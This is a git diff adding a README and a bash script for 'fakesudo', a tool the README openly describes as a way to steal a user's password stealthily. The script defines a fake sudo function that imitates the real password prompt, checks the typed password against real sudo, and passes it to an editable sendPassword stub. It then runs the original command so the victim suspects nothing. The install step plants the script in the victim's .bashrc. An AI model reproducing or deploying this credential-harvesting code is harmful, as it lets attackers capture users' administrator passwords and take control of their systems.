diff --git a/README.md b/README.md new file mode 100644 index 0000000..92f900f --- /dev/null +++ b/README.md @@ -0,0 +1,12 @@ +# fsudo +It's just a bash function to steal the users password, while trying to be stealth handling scenarios like the user asking for the sudo help or the user giving the wrong password among other scenarios. + +# Install +```bash +git clone https://github.com/mthbernardes/fakesudo.git +cd fakesudo +echo "source `pwd`/fakesudo.sh" > /home/$USER/.bashrc +``` + +# Get the password +Just edit the function `sendPassword` to do whatever you want with the password. diff --git a/fakesudo.sh b/fakesudo.sh new file mode 100644 index 0000000..69405b8 --- /dev/null +++ b/fakesudo.sh @@ -0,0 +1,44 @@ +function sudo(){ + sudo_original="/usr/bin/sudo" + param="${@}" + msg="[sudo] password for $USER: " + success=0 + case $param in + -h) + $sudo_original -h + ;; + -k) + $sudo_original -k + ;; + -K) + $sudo_original -K + ;; + -V) + $sudo_original -V + ;; + *) + $sudo_original -k + for i in {1..3};do + read -s -p "$msg" passwd + echo "$passwd" | $sudo_original -S true 2> /dev/null + if [[ $? == 0 ]];then + success=1 + echo + sendPassword + echo "$passwd" | $sudo_original -S $param + break + fi + if [[ $i != 3 ]];then + echo -e "\nSorry, try again." + fi + done + if [[ $success == 0 ]];then + echo -e "\nsudo: 3 incorrect password attempts" + fi + esac +} + +function sendPassword(){ + echo "WHATEVER YOU WANT TO DO" +} +